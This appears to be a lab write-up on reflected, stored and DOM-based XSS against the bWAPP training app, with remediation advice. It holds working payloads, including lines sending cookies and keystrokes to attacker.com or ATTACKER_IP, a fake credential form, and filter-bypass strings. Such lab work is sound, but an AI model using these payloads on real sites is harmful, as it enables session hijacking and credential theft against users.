🧪 04 — XSS (Reflected, Stored & DOM-Based)

Cross-Site Scripting (XSS) — All Types

OWASP: A03 - Injection | **CWE**: CWE-79 | **Severity**: 🟠 High

---

📖 Description

XSS allows attackers to inject client-side scripts into web pages viewed by other users. There are 3 types:

- **Reflected XSS**: Payload is in the request, immediately reflected in the response
- **Stored XSS**: Payload is saved in the database and executed every time the page loads
- **DOM-Based XSS**: Payload is processed by client-side JavaScript without server interaction

---

🔍 Affected Endpoints

```
http://localhost/bWAPP/xss_get.php          (Reflected - GET)
http://localhost/bWAPP/xss_post.php         (Reflected - POST)
http://localhost/bWAPP/xss_stored_1.php     (Stored - Blog)
http://localhost/bWAPP/xss_stored_2.php     (Stored - Cookies)
http://localhost/bWAPP/xss_dom_1.php        (DOM-Based)
http://localhost/bWAPP/xss_dom_2.php        (DOM-Based #2)
```

⚠️ Security Level: LOW

Reflected XSS — Basic

```
<!-- Basic alert popup -->
<script>alert('XSS')</script>

<!-- Alert with document origin -->
<script>alert(document.domain)</script>

<!-- Session cookie theft -->
<script>alert(document.cookie)</script>

<!-- Redirect to attacker site -->
<script>window.location='http://attacker.com/?c='+document.
cookie</script>

<!-- Keylogger -->
<script>document.onkeypress=function(e){new Image().src='ht
tp://attacker.com/?k='+e.key}</script>
```

URL for Reflected XSS

```
http://localhost/bWAPP/xss_get.php?firstname=<script>alert
('XSS')</script>&lastname=test&form=submit
```

Stored XSS — Blog Entry

```
<!-- Inject in Entry field -->
<script>alert('Stored XSS')</script>

<!-- Persistent cookie stealer -->
<script>fetch('http://attacker.com/?cookie='+document.cooki
e)</script>

<!-- Deface page content -->
<script>document.body.innerHTML='<h1>HACKED</h1>'</script>
```

```
<!-- Create fake login form -->
<script>
document.write('<form action="http://attacker.com/steal" me
thod=POST>Username:<input name=u>Password:<input type=passw
ord name=p><input type=submit></form>');
</script>
```

Cookie Stealing Full PoC

```
<!-- Step 1: Start HTTP listener on attacker machine -->
python3 -m http.server 8080

<!-- Step 2: Inject in bWAPP -->
<script>new Image().src='http://ATTACKER_IP:8080/steal?cook
ie='+document.cookie</script>

<!-- Step 3: Check logs for cookie -->
# You'll see: GET /steal?cookie=PHPSESSID=abc123 in server
log
```

DOM-Based XSS

```
# URL fragment processed by JavaScript
http://localhost/bWAPP/xss_dom_1.php#<script>alert('DOM XS
S')</script>

# Via lang parameter
http://localhost/bWAPP/xss_dom_1.php?lang=<script>alert(1)
</script>

# innerHTML exploitation
http://localhost/bWAPP/xss_dom_2.php?movie=<img src=x onerr
or=alert(1)>
```

⚠️ Security Level: MEDIUM

Defense Applied

`htmlspecialchars()` applied to most inputs. Some blacklisting of `<script>` tags.

Bypass Payloads

```
<!-- Script tag case bypass -->
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>

<!-- Event handler bypass (no script tag needed) -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<a href=javascript:alert(1)>Click me</a>
<iframe src=javascript:alert(1)>

<!-- Double encoding -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- HTML entity bypass -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;
>

<!-- UTF-7 encoding (old browsers) -->
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

⚠️ Security Level: HIGH

Defense Applied

Proper output encoding + Content Security Policy headers.

CSP Header Check

```
Content-Security-Policy: default-src 'self'; script-src 'se
lf'
```

What Stops It

- `htmlspecialchars()` escapes all HTML special characters
- CSP blocks inline scripts and external script sources
- Input validation rejects unexpected characters

📊 Impact Analysis

Impact	Description
Session Hijacking	Steal cookies and impersonate users
Credential Theft	Fake login forms
Keylogging	Capture all keystrokes
Defacement	Modify page content
Malware Distribution	Redirect to drive-by download
CSRF Chain	XSS used to trigger CSRF

✅ Remediation

1. **Output Encoding**: Always escape output with context-aware encoding
2. **Input Validation**: Reject unexpected characters
3. **CSP Headers**: Implement strict Content Security Policy
4. **HTTPOnly Cookies**: Prevent JS access to session cookies
5. **SameSite Cookies**: Prevent CSRF chaining
6. **DOMPurify**: For DOM-based XSS, sanitize with DOMPurify library

```
// PHP fix
$input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-
8');

// HTTP headers
header('Content-Security-Policy: default-src \'self\'');
header('X-XSS-Protection: 1; mode=block');
setcookie('session', $val, 0, '/', '', true, true); // Http
Only + Secure
```

📚 References

- CWE-79: https://cwe.mitre.org/data/definitions/79.html
- OWASP XSS: https://owasp.org/www-community/attacks/xss/
- XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet